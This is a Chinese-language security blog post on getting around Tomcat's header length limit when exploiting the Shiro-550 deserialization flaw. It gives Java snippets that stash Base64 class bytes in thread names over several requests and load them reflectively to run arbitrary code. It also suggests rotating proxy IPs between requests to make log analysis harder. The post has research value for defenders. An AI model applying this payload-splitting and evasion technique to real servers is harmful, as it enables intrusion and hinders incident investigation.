浅谈Shiro550受Tomcat Header长度限制影响突破

浅谈Shiro550受Tomcat Header长度限制影响突破

0x00 写在前面

写个shiro相关的东西,还是秉着写出来才能学的更多的理念,当然个人还是不太喜欢贴上整串代码,只是分享思路心得,在很早以前我学习这个只是想弹出计算器,但是后面自己还是更喜欢折腾实战方面的一些构思(虽然没有过),在实战中我们更希望得到一个有回显的,而不是只是执行一个命令,关于回显最通用的就是去遍历线程对象中获取request,但是后面发现Tomcat居然有Header长度的限制,接下来就是解决问题

0x01 一些传统思路

思路一:修改maxHeaderSize(不太喜欢)

首先是在网上参考学习到了Litch1写的文章基于全局储存的新思路 | Tomcat的一种通用回显方法研究

里面提到了去修改org.apache.coyote.http11.AbstractHttp11Protocol中的maxHeaderSize的值,里面通过多个线程发送payload来确保request的inputbuffer会复用,个人觉得不太稳定,另一方面就算构造出来了其实也很长了,在我心中不是最优解

思路二:分离payload+动态类加载

  1. 这个思路主要来源于读到开源工具ShiroAttack2里面提到的将payload分离为两个部分(一部分是去触发反序列化Gadget,另一部分是),我的环境是tomcat8(因此需要遍历线程对象获取request/response便于回显)

img

这里一个比较骚的点是通过Class自带的方法equals去传递request与response,当然也可以用其他的,这样比较方便

img

这样我们就成功实现了将payload缩短能获得回显的目的了

img

0x02 浅谈新思路

但是呢,个人并不满足仅仅只是成功,如果某一天在某些框架下让header更短怎么办?这里我主要解决不落地的思路

能不能再将上面的思路二再分离开来来简单实现缩短payload+分散发包

要解决这个那么一定要解决在全局能够持久存储我们的payload的地方,这里我想到了去修改当前线程对象的名字(Thread.currentThread().setName()),测试了下Thread的name能够有足够储存我们长度的能力

img

经过简单测试发现每次刷新网页这个线程都会改变,但总量就那么几个,那么我们肯定需要通过遍历来筛选

img

当然为了方便,我先将其中一个设置成我的id:Thread.currentThread().setName(“y4tacker”);

1
2
3
4
5
6
7
try {
ThreadGroup a = Thread.currentThread().getThreadGroup();
java.lang.reflect.Field v2 = a.getClass().getDeclaredField("threads");
v2.setAccessible(true);
Thread[] o = (Thread[]) v2.get(a);
for(int i = 0; i < o.length; ++i) {Thread z = o[i];if (z.getName().contains("y4tacker")){z.setName(z.getName()+"我是注入的payload");
}}}catch (Exception e){}

通过一些其他手段缩减payload至最小差不多2400

img

这样我们只需要将注入的payload分成多段慢慢加入,通过下面的代码来最终触发我们设置向线程的paylaod执行任意代码了

1
2
3
4
5
6
try {ThreadGroup a = Thread.currentThread().getThreadGroup();java.lang.reflect.Field v2 = a.getClass().getDeclaredField("threads");v2.setAccessible(true);Thread[] o = (Thread[]) v2.get(a);for(int i = 0; i < o.length; ++i) {Thread z = o[i];if (z.getName().contains("y4")){
byte[] x = org.apache.shiro.codec.Base64.decode(z.getName().replaceAll("y4tacker", ""));
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
((Class)defineClassMethod.invoke(a.class.getClassLoader(), x, 0, x.length)).newInstance();
}}}catch (Exception e){}

这样还给我们一个好处就是,在每次发包的时候切换代理变更ip,maybe可以导致后台分析日志的时候会更难(毕竟每次发包之间总有其他用户的正常操作XD),简单测试一下能不能弹个计算器嘞,答案永远是Yes

img

顺便提醒一句搞完了记得把线程名改回去哦,不然线程名变成啥样勒,plz

img